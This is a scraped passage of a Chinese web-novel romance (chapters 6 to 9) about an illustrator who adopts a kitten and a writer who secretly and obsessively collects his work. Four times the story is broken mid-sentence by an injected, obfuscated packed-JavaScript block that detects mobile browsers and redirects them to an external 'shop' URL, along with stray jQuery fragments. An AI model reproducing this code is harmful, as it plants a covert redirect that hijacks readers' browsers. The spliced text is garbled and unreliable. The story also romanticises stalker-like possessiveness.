就在他目光逡巡而去,男人恰好结束了通话,那人敏锐地察觉到了旁人地窥探,倏地侧过头,深邃的目光截住了方闻洲未来得及收回的视线。 两道目光在空中相撞。 这一次,方闻洲总算完完全全看清了男人的正脸。 轮廓分明鼻梁高挺,眼前这人,不正是上次雨中有一面之缘的那位吗? 但现在不是细想这些的时候。 男人的视线如有实质,穿透了他,让方闻洲无所遁形。 偷看被抓个正着,一股窘迫席卷而来,方闻洲耳根发热。 太失礼了,怎么能这么没礼貌。 他在心里暗自懊恼,连忙对顾延露出一个抱歉的笑容。 少年的笑容干净又温和,任谁看了都容易心生好感,可男人偏偏皱起了眉,移开了视线。 顾延记得这张脸。 尽管上次见面时少年一身狼狈,却难掩脸上灿烂的笑容。 只是... 一个念头莫名浮现。 这人为什么偏偏只对着自己笑? 方闻洲无从知晓顾延的想法,只觉得这男人难以接近,也敛起神色不再看他。 男人很快办好了手续,牵着萨摩耶转身寻找座位。 宠物医院的等候区本就不大,仅有的两排长椅中,一排已经坐满,唯独方闻洲右侧还空着两个位置。 果不其然,男人的目光在候诊区扫视一圈,就径直朝方闻洲所在的沙发走来。 不同于自己的强势气息在身边落座,方闻洲不甚明显地调整了下坐姿,向远离男人一侧的方位挪了挪。 两人之间没有任何交流,候诊区一片沉默,直到方闻洲感觉脚边被毛茸茸的东西蹭了一下。 他刚低头,一团蓬松的雪白便映入眼帘,正是那只萨摩耶。 它不知何时脱离了主人的掌控,热情洋溢地就朝方闻洲的腿边凑过来,歪着脑袋仰头望着他。 萨摩耶的颜值极高,更何况眼前这只,通身雪白的毛发蓬松光亮,看上去便知被照顾的极好。 被这样一只漂亮的小狗眼巴巴地望着,没人能硬起心肠。 方闻洲只觉得手心泛痒,想将手指埋进它蓬松毛发里好好揉一揉。 他的指尖微微蜷了蜷,终究还是按捺住了这股冲动。 毕竟狗主人就坐在旁边,而且那位先生看起来并不像是会喜欢陌生人随意触碰自己宠物的类型。 方闻洲只好对着热情的萨摩耶弯了弯眼睛,传达着自己的善意。 不料,接收到善意的萨摩耶更加兴奋起来。它前爪轻踏地面,喉咙里发出撒娇般的呜咽,蠢蠢欲动地想要再靠近些。 “雪球。” 身旁传来轻斥,男人到底发现了过于活泼的萨摩耶。他伸手抓住了萨摩耶的项圈,试图将这个过于热情的大家伙带回自己身边。 雪球显然不太情愿,它执拗地晃着脑袋,四条腿像钉在了地上一样,坚定不移地还要往方闻洲这边蹭。 顾延神情不悦,手上稍稍加了些力道,低声命令:“雪球,过来!” 可平日里还算听话的雪球,此时竟对顾延的指令充耳不闻,反而更加用力地往反方向挣扎。 素来将一切掌控于心的他,竟在大庭广众之下,与一只狗陷入了僵局。 场面一时竟有些难以言说的幼稚。 方闻洲将这一幕看在眼里,心底那点因对方冷漠而产生的不自在悄然散去,反而觉得这位看起来难以接近的先生,在这会流露出了难得的人气味。 眼看雪球又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742328|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要把脑袋凑过来蹭他的手,方闻洲适时开口:“没关系的,它很可爱,我不介意。” 顾延动作一顿,抬眼看向他。少年眼神干净,没有丝毫看笑话的意思,反而替他解了围。 那股萦绕在两人身边的尴尬氛围,似乎被这句话打破了。 沉默了瞬,顾延手上的力道松了些许,算是默许了雪球短暂的自由。 雪球欢快地把大脑袋搁在了方闻洲的膝盖上,黑亮的眼睛里满是讨好。 方闻洲见状,忍不住轻笑出声,空着的那只手落在了雪球毛茸茸的头顶揉了揉。 触感比想象中还要柔软蓬松。雪球满足地眯起了眼睛。 顾延看着这一人一狗的互动,目光在方闻洲的侧脸和雪球那副全然信赖的姿态上停留了会,眸色深沉,不知在想些什么。 撸狗的时光并未持续太久,前台的声音惊醒了正沉浸在与雪球互动中的方闻洲。 他回过神来,有些不舍最后揉了把雪球的脑袋,对它道:“我得走啦,小家伙还要看医生。” 雪球很聪明,理解了方闻洲的意思,爪子扒拉了下方闻洲的裤脚,催促他快带小猫去看病。 方闻洲会意,转而看向身旁的顾延,准备告辞。 男人坐得笔挺,神情恢复了一如既往的淡漠,好像刚才那场与狗较劲的风波从未发生过。 “那个,我先过去了。”方闻洲对着顾延的方向微微颔首,算是告别。 他本不指望这位惜字如金的男人会回应,不料对方应声转来。 “好。”顾延眼神微动,目光全数落在方闻洲的身上,又补充了句:“去吧。” 诊室的门在他身后合上,接诊的是一位年纪稍长的医生,他经验丰富,不用方闻洲多说,就上手为小东西做了全套的检查。 万幸的是,检查结果相当不错,小猫只是因长期饥饿导致严重脱水和营养不良,并未感染猫瘟等致命疾病,这让方闻洲悬着的心落了一半。 治疗方案很快确定。由于小猫肠胃虚弱无法立即进食,当务之急是为它补充水分和能量。 护士娴熟地进行了皮下葡萄糖注射,并让方闻洲在诊室稍作等待。 不过十几分钟,小猫原本半眯的眼睛就完全睁开了,连叫声也清晰了不少。 这家宠物医院非常负责,知道方闻洲是新人,耐心的教他养猫的注意事项,方闻洲听得认真,细细记下医生的每句嘱咐。 等再抱着恢复精神的小猫走出诊室,方闻洲的目光扫过候诊区。 那张长椅已经空了,男人和那只热情的萨摩耶早已不见踪影。 方闻洲心里遗憾,他还未来得及好好感谢椰椰带来的慰藉,也没能问清男人的姓名。 不过他向来不是个会沉溺于伤感的人,这缕惆怅很快便烟消云散。 他低头,看着怀里正用脑袋蹭他手心的小生命,用手轻轻握了下它的肉爪。 今日的一切都很好。 他救回了小家伙,遇到了可爱的萨摩耶,就连那位看似冷淡的先生也没想象中那么不近人情。 方闻洲很喜欢今天。 6. 第 6 章 宠物医院旁边便是宠物店,方闻洲对照着刚记下的养猫指南,在货架间仔细对比挑选。 等将猫粮等必需品一一放入购物车,确认清单上的物品都已买齐后,他才结账回到租住的公寓。 一进门,他先将小猫小心地安置在安全的地面上,随即开始忙碌地归置起这些新购置的物品。 等到所有的东西都收拾妥当,天色也渐渐灰沉下来。 忙碌期间,他的注意力一直没离开那只怯生生的小猫。 小家伙起初还有些怯生,将自己藏在角落的阴影里。许久之后,许是熟悉了环境,它才慢慢地从角落里探出身子。 先是试探性地嗅了嗅近在咫尺的猫窝,又迈着虚浮的步子,开始了它的首次巡礼。 医生特意交代过,小家伙初来乍到容易应激,建议方闻洲尽量不去打扰,他谨记在心,洗漱后便熄灯躺下。 夜色渐深,万籁俱寂,迷迷糊糊间,他忽然感觉到床边有些细微的动静。 方闻洲睁开眼,借着窗外的月光,看到那个小小的身影正费力地扒着垂落的床单,试图往上爬。 他不动声色,安静等待。 小家伙试了几次,终于凭借着一股倔劲儿爬了上来。 它站在床沿,观察了会,然后迈着小步子走到床尾,找了个离方闻洲脚边不远不近的位置,蜷缩成一团毛球睡下。 看到这一幕,方闻洲的心头也跟着柔和下来。 先前酝酿出的睡意早已消散无踪,他越看越觉得小家伙每个动作都可爱得不行,创作的欲望也随之涌起。 于是他轻轻起身,拿来放在床头柜上的平板和触控笔,靠回枕边,借着窗外朦胧的夜色,对着床尾那团小身影轻轻勾勒起来。 不过,方闻洲心里也有自己的考量。他虽热爱画画,在网络上也有不少关注,却不愿让现实生活受到太多打扰。因此下笔之前,他心中已有了明确构思。 笔尖流畅地在屏幕上滑动,线条舒展,明暗渐次铺开。不过片刻,一只小猫的轮廓便跃然屏上。 他刻意避开了所有具有辨识度的背景,也没有描绘具体的面部特征,整幅画只专注于光影以及小猫绒毛的质感,营造出朦胧而温柔的意境。 画作完成,他满意地端详了片刻,然后将图片上传到自己的微博。 【闻舟:捡到一只小流浪,趁它睡着偷偷画了下来,该给它取个什么名字好呢?】 微博刚一发出,立刻就收到了不少蹲守他更新的粉丝评论。 “恭喜太太有猫了!!” “啊啊啊太太画得太好了!这小绒毛感觉好软好想摸!” “取名废路过,但看这睡姿,叫团子怎么样?” 评论区里如火如荼,网友们贡献的取名创意层出不穷,不过短短几分钟评论就已过百。 方闻洲默念着每个名字,悉心筛选,并把中意的几个记下,就在他即将翻过首页的时候,一个ID映入眼帘,又是那个系统默认的用户名。 他记得这个账号。自己的每一条微博下,他总能占据前排,留言也是言简意赅。 耐不住好奇心,方闻洲曾点进这人的主页查看,头像空白,内容全无,仿佛这个账号存在的目的就只为他一人。 此刻,这条新评论延续了它一贯的风格。 【用户1027:叫言言吧。】 没有同他人那般给出各种理由,他的评论依旧简短。 “言言...” 方闻洲轻声念出这两个字。 或许是叠音的缘故,短短二字,竟无端泛起些许亲昵。 某个被他珍藏的笔名从记忆深处浮现,那位许久不开新文的人,名字里同样嵌着言字。 两者的字眼并非完全一样,却因这半个音的巧合,产生了奇妙的勾连。 每个名字的寓意都很好,方闻洲难以取舍,索性把最终决定权交给腿边的小猫。 这小家伙早在他刷微博时便醒了,正安静地蹲坐在他腿边。 方闻洲摸了摸它的脑袋,商量道:“你来选,好不好?” 小家伙歪着头,“喵呜”应了声。 这声回答响亮,方闻洲只当它答应了。 取来便签纸和笔,筛选出的几个心仪名字写上,小家伙很配合的凑了上来。 择选出的名字一共有五个,方闻洲将纸张撕成五份,再把这几个白团在小猫面前排开。 小家伙歪着头,打量着眼前陌生的玩具,随后他伸出粉色舌头,试探性地舔了舔其中一个,随即又用前爪拨弄了下。 被它钦点的那个纸团,顺势滚到了方闻洲的手边。 他展开纸条,上面笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742329|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨清楚写着两字:言言。 望着这被命运圈定的名字,他弯腰将小毛球揽入怀中,轻唤:“言言。” 怀里的言言听懂了,一晃尾巴作为应答。 名字既已敲定,他重新拿出手机,决定将这个消息告知一直等待的网友们。 【闻舟:取名大会圆满落幕!感谢大家的创意,最终让小主角自己做了决定,从今以后,它就叫言言啦。】 —— 同一时间,城市另一端的高档公寓内。 顾延慵懒地靠坐在沙发上,面前的茶几上搁着正在通话中的手机,扬声器里传出顾行辰絮絮叨叨对近期工作的汇报。 “所以哥,那个策划案我觉得还得再优化一下,你觉得咋样?” 顾延有一搭没一搭地听着,目光却没往手机所在的方位看上一眼,心神全在平板上。 他今天能破例接这通电话,全因闻舟方才分享的生活琐事让他心情颇佳,这才愿意赏几分情面。 至于电话那头的声音究竟听进去多少,就只有顾延自己知道了。 反复浏览了几遍闻舟发的微博内容,顾延的视线在那张小猫画作上停留。 看着画中朦胧的猫咪轮廓,他莫名联想到了下午遇见的那位少年。 对方怀里抱着的猫崽子,花色似乎与闻舟画中的有几分相似。 “哥?你到底有没有在听?”顾行辰独自念叨了半天,终于察觉到他哥的心不在焉。 思绪被打断,顾延也不恼,只是淡淡反问:“你今天特地打电话来,东拉西扯这么半天,到底想说什么?” 顾行辰在电话那头嘿嘿一笑:“果然什么都瞒不过您。就是过几天不就是伯父生日嘛,哥你今年打算回去吗?” “他让你来问的?”顾延的声音听不出什么情绪。 电话那头的顾行辰顿时语塞。顾延也懒得再问,直接挂断了电话。 他退出微博,将平板随手丢在一边,先前被强行压下的烦躁由于失去转移注意力的目标,重新翻涌上来。 那种空洞的感觉又来了。 他收拢起手指,想要抓住什么实在的东西来对抗体内的虚空。 可空无一人的室内除了冰凉的家具什么也不剩,皮肤下的躁动与渴望愈发清晰。 他不再犹豫,起身快步走向卧室。 7. 第 7 章 与客厅的极简不同,卧室内有整面定制的展示墙,被分割成无数个格位。 每一个格位里,都安置着被细心装裱的画作,而所有的作品,无一例外都署着同个名字,闻舟。 这里独属于顾延一人,是他所有扭曲情感的安放之处。 顾延的目光依次扫过墙上的每一幅画,这些作品他看过不下千遍,熟悉每处色彩的浓淡。 它们的主人以充满张力的双人图闻名,画中人肢体纠缠所流露出的强烈情感,恰好填补了他内心的空洞。 他踱步上前,停在墙面正中央的独立格位前,里面陈列的是闻舟早期出版的签名漫册,也是他全部收藏中唯一一本带有亲笔签名的册子。 顾延伸手,将它轻轻取下,坐回床边,用指腹反复描摹闻舟的签名轨迹。 随后,他低下头,鼻尖抵在那片干涸的墨迹上,似要从中汲取来自灵魂的共鸣。 内心的渴求落了实处,他将整本漫册拥入怀中。 手上的肌肉贲张,那本册子被他牢牢禁锢在胸膛与手臂构成的囚笼里,紧贴心脏。 —— 在相同的夜空下,方闻洲对某个人的惦记毫不知情。他刚把猫粮倒进言言的小碗,茶几上的手机就突兀地振动起来。 突如其来的声音惊得言言向后一缩,方闻洲察觉到,连忙伸手轻抚它的后背安抚,待小家伙情绪稳定后,他才拿起手机走向窗边。 来电的是上次那个叫吐司的女生,手机刚接通,吐司元气十足的声音就从听筒里传出。 “舟舟宝贝!我过两天有个线上访谈,请了不少圈内外的大神来助阵,你也来啊?” 吐司的话音刚落,方闻洲不假思索就要拒绝。 他混迹圈子这么久,早就过了追求曝光的阶段,现在只想图个清静,专注创作。 可拒绝的话滚到舌尖,却怎么也吐不出去。方闻洲从小到大都是个乖孩子,学不会直接扫别人的兴致。 对面还在等待他的回复,他只好硬着头皮,搬出一个自己都觉得牵强的借口:“吐司,我最近心思都在言言身上,这些活动就不去凑热闹了。” “言言?!” 吐司捕捉到关键词,语气八卦十足:“是我知道的那位言故大神吗?你俩什么时候关系这么铁了?叫得这么腻歪!” “不是他!”方闻洲急忙辩解,“你、你别胡说呀!” “那我就更好奇啦,”吐司不依不饶,“除了他,还有哪个‘言言’能有这么大面子?” “是猫!我养了只小猫,它的名字叫言言!” 吐司了然的笑了:“哦~我懂了!原来我们舟舟这么喜欢言故大神,连猫的名字都要随他。” 被吐死的话激得恼羞成怒,方闻洲像被逆着摸了毛的小动物,整张脸涨得通红。 “你...!我要挂电话了!” 他没什么威慑力地发出最后通牒,声音因羞窘而发颤,听起来更像在撒娇。 作为方闻洲的朋友,吐司怎么会不知道小猫的存在及名字的由来,此时装傻充愣,纯粹是她的恶趣味。 这位在画纸上能驾驭磅礴情感的大神,现实里却纯粹如同白纸,性格软得让人想要欺负。 也不知道这少年最后会便宜了谁。 吐司暗自想着,嘴上讨饶。 “好好好,不逗你了。那说回正事,线上访谈的事儿,你就再考虑一下嘛!” “下次一有言故的新消息,我立马告诉你!求求你了,你最好了!” 在对方的连番攻势,方闻洲握着手机,沉默了片刻,终究是没能硬起心肠,自暴自弃地“嗯”了声。 “耶!就知道你最好了!具体时间我微信发你!” 目的达成,吐司欢快地挂了电话。 没过多久,她便将访谈的具体安排通过微信发了过来。 访谈的时间定在后天晚上,阵容如吐司所言,堪称豪华,所有的嘉宾都是各自领域里掷地有声的人物。 方闻洲的视线扫过几个熟悉的名字,最终停留在与言故同圈的一位大神身上。 此人是言故相交多年的亲友,也是给吐司透露小道消息的人,其文风以风趣幽默著称。 可即使是这样星光熠熠的名单,他最想看见的名字也依然不在列。 方闻洲叹了口气,将手机搁在桌面上,整个人埋进沙发里。 这是预料之中的结果,他并不意外,只是到底夹了点期待,没见到人还是会有些许失落。 善解人意的言言察觉到主人低落的情绪,跳上他的膝头,用毛茸茸的小脑袋蹭着他的手心。 感受到手心传来的触感,方闻洲心底的失落被冲淡。 他俯身,用双手将言言托抱起来,将自己的额头抵在它柔软肚皮上蹭了蹭,道:“谢谢你。” 调整好情绪后,方闻洲直起身,将言言放回地上,拿起手机给吐司回复了两个字“收到”。 消息刚发出去,吐司的回复就弹了出来。 【吐司:哎舟宝,我和你说,其实我邀请过言故大大。】 【吐司:不过被他直接拒绝了。】 对面的吐司发来一张聊天记录的截图,方闻洲点开查看,两人的对话很简洁。 【吐司:大神,有空参加一期线上访谈吗?占用的时间很短,几分钟就好!】 【言故:不去。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742330|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 言故的回应与他社交媒体上公私分明的风格如出一辙。 除了发布新作,他的微博从不流露任何私人情绪,评论区互动也始终保持着距离感,这也使得至今无人知晓他的真实性别。 吐司的对话框又闪动起来。 【吐司:你看吧,根本没得商量。我倒是想软磨硬泡,可他气场太强,我连耍赖的话都没敢说。】 方闻洲没再多说什么,只回了个小兔子摸摸头的表情。 夜幕低垂,顾延这一觉睡得意外地沉。再次醒来时,室内一片昏暗,他点亮手机想看时间,却被锁屏界面上不断跳出的微博点赞通知吸引了注意。 顾延眉头蹙起,为了能第一时间搜集闻舟所有的画作与动态,他的微博常年登录小号,仅有的活动痕迹便是在闻舟每条微博下评论。 常年无人问津的小号突然涌入大量信息,这显得极不寻常。 为防止系统错乱,他划到后台再次确认,头像空白、用户名是那串特殊数字的组合,这确实是他用了许久的小号。 顺着点赞通知点进去,他这才发现了缘由所在。 是自己当天在闻舟给小猫征名微博下的留言,被网友们顶成了热评第一。 会发生这种情况,通常只有一个原因,他提议的名字被采纳了。 顾延心头一动,刷新闻舟的主页。果不其然,最新微博证实了他的猜想。 极其隐秘的满足感满足感席卷了他全身,他惯常冷峻的面容上,竟罕见的扯出一抹真实的笑意。 向来自制力很好的男人,此时却控制不住自己的手,再次点开了那条热评第一的留言,浏览着下方的称赞。 [运气真好,上万条的评论也能被选中。] [你上辈子拯救了银河系吗?可恶,我好嫉妒。] [我也好想被闻舟太太翻一次牌啊。] 这些往日在他看来只会徒增干扰的评论,此刻却字字句句都无比顺眼。 他长按屏幕,将闻舟宣布命名的微博连同那条热评一并截图,珍而重之地存入了专属于闻舟的收藏夹。 可做完这一切,心头那股情绪却仍未平息。 他退出截图界面,回到了自己的微博小号主页。指尖在转发框内敲下又删除,内心汹涌的占有欲与恪守的理性激烈交战。 最后只克制地留下了一个字。 【用户1027:好。//转发自闻舟:......它就叫言言啦。】 这个创建了数年的小号,终于迎来了它的第一条动态。 夜色深沉,万籁俱寂,唯有那个被理智强行压下的话语,在他心底不断浮现。 闻舟,我的。 8. 第 8 章 这个名字是他的毒药,顾延却甘之如饴。 内心的情绪在时间的流逝下慢慢平复,他切换手机上的应用,点开小企鹅聊天软件。 小企鹅同样用的是小号,没有单个联系人,只有一个名为“舟舟粉丝群”的群聊,所有消息都源于此处。 群聊建立了很久,里面汇集了众多闻舟的资深粉丝。虽然没有正主在内,但氛围纯粹,成员们时常分享闻舟的活动轨迹,偶尔也会流出一些非公开的旧稿。 顾延极少在群里发言,多半都是在暗处窥屏接收被自己遗落的信息。 尽管这会已经是深夜,群里的消息还是不断冒出,热闹非凡。 [你们看到吐司刚发的公告了吗?] [刚看到!天啊,舟宝居然答应接访谈了!] [吐司的人脉还是一如既往的强,这次嘉宾阵容太豪华了。] [感谢吐司!上次看到舟宝参加访谈,都记不清是多久以前了。] 访谈?什么访谈? 除了闻舟,顾延的微博从未关注过任何账号。因此,他对于吐司下午发布并瞬间引爆热搜的那条公告一无所知。 出于对此次访谈的重视,吐司早已将公告置顶。顾延一点进吐司的主页,映入眼帘的便是那条数据异常火爆的公告。 【吐司:重磅预告!线上访谈来袭!超强阵容一次看够,独家爆料绝不错过,明晚八点,我们不见不散![图片]】 附图是详细的嘉宾名单,顾延直接略过一众大佬,找到唯一能牵动他神经的名字。 名单按领域分类排列,闻舟的名字恰好居于最中心,而紧接在画手之下的,便是写作领域。 他的视线从画手区移开,在那片写作区的名字上短暂停留,开始自我审视。 以言故在圈内的地位和影响力,这份访谈名单理应有他一席之地。可为什么至今没人来邀请他?难道是他的名气还不够吗? 贵人多忘事的顾延正暗自揣测,某些零星记忆总算被挖掘出来。 几天前,私信列表里似乎确实有个名叫吐司的人发来过邀请,措辞客气,希望他能参与一场线上访谈。 当时他是怎么回应的? 他甚至连点开详情细看的耐心都欠奉,想也不想,便直接拒绝了。 ......草。 他那会脑子进水了吗? 顾延惯常冷淡的眉眼间裂开缝隙,底下满是难堪。 他这辈子都没干过如此出尔反尔的事。 可和闻舟上同一个访谈的诱惑实在过大,错过这次之后可能再也没有机会了。 没有什么比闻舟更重要。 纠结再三,他抛开身段,点开与吐司的对话框。 历史记录里那句果决的“不去”像一记耳光甩在脸上。 顾延抿紧薄唇,手指在对话框中删了又改,最后变成两段硬邦邦的询问。 言故:抱歉打扰。 言故:关于之前的访谈邀请,如果名额还有空余,不知是否还能考虑下我? —— 彼时,外间持续不断的手机振动声,让正在洗澡的方闻洲心生疑惑,生怕错过重要消息,他匆匆冲洗完毕便踏出浴室,第一时间解锁手机,数十条来自吐司的未读消息弹了出来。 【吐司:舟舟!!!!!】 【吐司:[截图]】 【吐司:你快看!!你快看啊啊啊啊啊!!!!】 【吐司:是言故!!!他居然!主动!来找我了!!!】 最新一条是语音消息,吐司因极度激动而拔高的嗓音冲了出来:“我的天!!舟舟你看到了吗!言故之前明明拒绝得那么干脆,现在居然问还能不能参加!我不是在做梦吧?!” 文字和语音的连番轰炸,将吐司难以置信的震惊情绪展现得淋漓尽致。 尽管她激动得有些语无伦次,但关键信息却传递得明明白白。 那个向来拒绝一切公开活动的言故,竟主动要求参与这次的线上访谈。 屏幕还在不断冒出新的消息,方闻洲握着手机一时有些怔忡。 这消息带来的冲击过于巨大,以至于他的第一反应是怀疑,这会不会是吐司的玩笑? 毕竟,言故的性子圈内人尽皆知,这突如其来的转变实在有悖于他过往的行事风格。 这丝疑虑促使他点开截图,仔细放大审视。 界面是吐司的直接截图,做不得假。 直到这时,方闻洲才从巨大的冲击中缓缓回神。言故,真的要来参加访谈。 手机另一端,眼见自己发的消息迟迟没有反应,吐司不禁纳闷起来。 按常理来说,作为言故多年的资深粉丝,方闻洲此刻的反应绝不会输给自己,怎么会如此的平静。 不过碍于眼下有更紧迫的事务要处理,临时加入一位重要嘉宾,所有公告和流程都需要重新调整,而访谈明天就要开始,时间所剩无几。 吐司无暇多想,只给方闻洲留下最后一段话,便投入紧张的工作中。 【吐司:对了,言故明天将作为神秘嘉宾出场,顺序就安排在你之后。】 城市的两端,各亮着一盏灯。入圈多年,他们什么风浪没见过,此刻却因一场小小的线上访谈,双双难以成眠。 —— 越是期待某个时刻的到来,时间流淌得越慢。 在各自纷杂的心绪中,白昼褪去,暮色四合,晚上八点如期而至。 当晚,线上访谈直播间刚一开放,大量观众就涌入直播间。 各路大神的粉丝齐聚一堂,弹幕滚动飞快,鲜花和礼物特效没停过,足见此次阵容的号召力。 身兼策划与主持的吐司毫不怯场,她凭借丰富经验游刃有余地掌控着全场,热情地向观众打起了招呼。 “大家好,我是主持人吐司!欢迎来到今天的线上访谈!知道大家都迫不及待了,下面请出我们今晚第一位嘉宾...” 访谈有条不紊地进行着。每位嘉宾约有二十分钟的交流时间,内容涵盖近况分享以及与粉丝的趣味互动。 大神们妙语连珠,直播间里的气氛异常热烈。 方闻洲排在中间靠后的位置。他早已坐在电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742331|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑前,调试好设备。 听着耳麦里吐司与其他嘉宾的谈笑风生,他放在膝盖上的手微微蜷紧。 说不紧张是假的。一想到言故就排在自己之后,方闻洲就难以平静。 这就意味着,在他上麦的时候,言故必定也进入了这个直播间,听着他的发言。 还好线上访谈只露声不露脸,这算是不幸中的万幸。 在轻松的氛围中,嘉宾依次轮换,终于轮到了方闻洲。 耳麦里传来吐司一贯充满活力的声音:“接下来这位,是我们画手圈的瑰宝,他笔下极具故事感和张力,每次产出都让人惊叹,让我们欢迎闻舟!” 被念到名字,方闻洲定了定神,点开了麦克风连接,尽量让自己的声音听起来平稳:“大家好,我是闻舟。” 方闻洲的话音刚落,直播间的弹幕有片刻停滞,随即更加疯狂的滚动起来。 [啊啊啊!这声音!我没了!] [舟宝声音好软好乖啊!和画风反差好大!] [是甜甜的糯米团子成精了吗?!] [这声音听起来怎么能这么乖!] 不怪弹幕反应如此激烈,方闻洲的声线干净清澈,偏偏尾音又带着点天然的软糯,听得人心尖发软,轻易就能让人沦陷。 简单的开场,透过无形的网络,传向了成千上万的听众,也传向那个于他而言最为特殊的人。 与直播间里大多数早早蹲守的观众不同,顾延是在方闻洲即将出场前几分钟,才不紧不慢地进了直播间。 对于前面其余嘉宾是谁说了什么,他毫无兴趣,直到吐司念出闻舟的名字,他散漫的目光才重新回到屏幕。 当那个曾在他无数个深夜里,仅凭画作就占据他全部思绪的人打开麦克风,顾延感到周遭万籁都安静了,他的世界仅剩下那道声音。 脊背窜上一阵莫名的麻意,这感觉比他预想的还要强烈。 好好听的声音,比他预想的还要好听数倍,简直是为他量身打造的,多听一秒,瘾就深一分。 那道干净的声音,奇异地撩拨起他心底最隐秘的病症。 顾延不可抑制地幻想,若这声音是贴在他耳畔响起,他定会放弃所有抵抗,甘愿臣服。 理智摇摇欲坠,顾延闭了闭眼按压下翻腾的情绪,迅速打开电脑上的录制软件,准备将访谈过程全程录制下来。 耳机里,方闻洲正在回答吐司的问题,语气认真,偶尔会因为粉丝们过于热情的弹幕而不好意思。 吐司的提问还在继续,她显然也注意到了弹幕对闻舟声音的热烈反响,笑着打趣道:“看来大家都被我们舟宝的声音迷住了呢。” “说起来,舟宝的画张力总是特别强,不知道在创作时,会从哪里寻找灵感呢?” 这问题本是调节气氛的常规环节,所有人都以为会听到一个官方的标准答案。没料到五秒过去了,麦里还是一片安静。 就在吐司准备确认连线是否异常时,方闻洲的声音才重新响起。 “嗯...确实有个人,对我的创作灵感帮助非常大。” 9. 第 9 章 ——谁? 是哪个名字,值得他如此特殊的对待? 顾延的脑中掠过几个他曾留意过与闻舟在微博上有过互动的ID,可那些人与闻舟的相处,也只是寻常的朋友往来,看不出任何特别。 那么,这个让他另眼相看的人,究竟是从哪里冒出来的? 他凭什么? 指节因用力握住鼠标而泛白,顾延绷紧下颚线,无名火裹挟着醋意从心底窜起。 按道理说,他本该如常人般只迷恋闻舟的画作,可他有病,病得还不轻。 常人爱画,而他贪求的,是作画的人。 遵循世俗的正常人与沉浮于欲望的疯子,思想最本质的不同,就在此处。 弹幕由于方闻洲所抛下的话持续刷屏。 [??是谁偷走了我宝的心!] [!信息量好大!所以舟宝的灵感缪斯是谁?] [难道是哪位合作过的老师?] [宝宝别卖关子了,到底是谁呀?] 顾延也在等待一个答案,哪知麦上的人只是笑了笑,轻巧地绕开了名字。 “他不是我们这圈的,名字我就不提了,也拜托大家不要深究,更不要去打扰他啦。” 听到这话,粉丝们虽心有不甘,被这个悬念吊得不上不下,但出于喜爱与尊重,也都默契地不再深究,转而聊起了别的话题。 可顾延做不到。 盘踞在心底的妒火还未平息,反而因闻舟明目张胆的维护,烧得愈发灼烈。 他想知道。 他疯狂地想知道,那个被闻舟藏在话语背后的人,究竟是谁。 暴戾的冲动在心底叫嚣,驱使着他想将那个躲在闻舟庇佑之下的人揪出来。看看他究竟有何能耐,凭什么能占据这份独一无二的偏爱。 这个念头不断诱惑着他,差点就要冲破道德的枷锁。 可最终,他遏止了自己。 不能这么做, 会惹闻舟不开心的。 仅仅是这样想着,那些妄念就被他尽数按捺下去。他绝不能让自己成为被那束光所厌恶的存在。 耳机里,主持人吐司接过话头:“好啦好啦,看来我们舟宝有自己小秘密要守护。那么接下来,就是大家最期待的粉丝福利环节!” 她接着宣布了规则,管理员会在直播间发出一个红包,成功抢到红包的观众就会获得与闻舟连麦交流的机会。 这无疑是整场访谈最受欢迎的环节,所有观众都摩拳擦掌,期待能抽到自己。 顾延面无表情地点击抽奖按钮,红包开奖,结果毫无悬念,不是他。 他扯了扯嘴角,眼底掠过自嘲。 从小到大,他连再来一瓶都未曾中过,这种万人争抢的幸运又怎会降临在他身上。 系统抽取的ID显示在公屏上,是一个名叫星辰的用户。 中奖者被抱上麦序,清亮的男声雀跃的响起:“舟舟晚上好!天呐,这都能抽到,我们也太有缘了吧!” “嗯呐,真的好巧呀。” 闻舟的回应熟稔,不难听出他与对方是旧识。 [有情况?!] [舟宝认识他?!] [听声音感觉是个阳光帅哥诶,不会是舟宝口中的那个谁吧?] 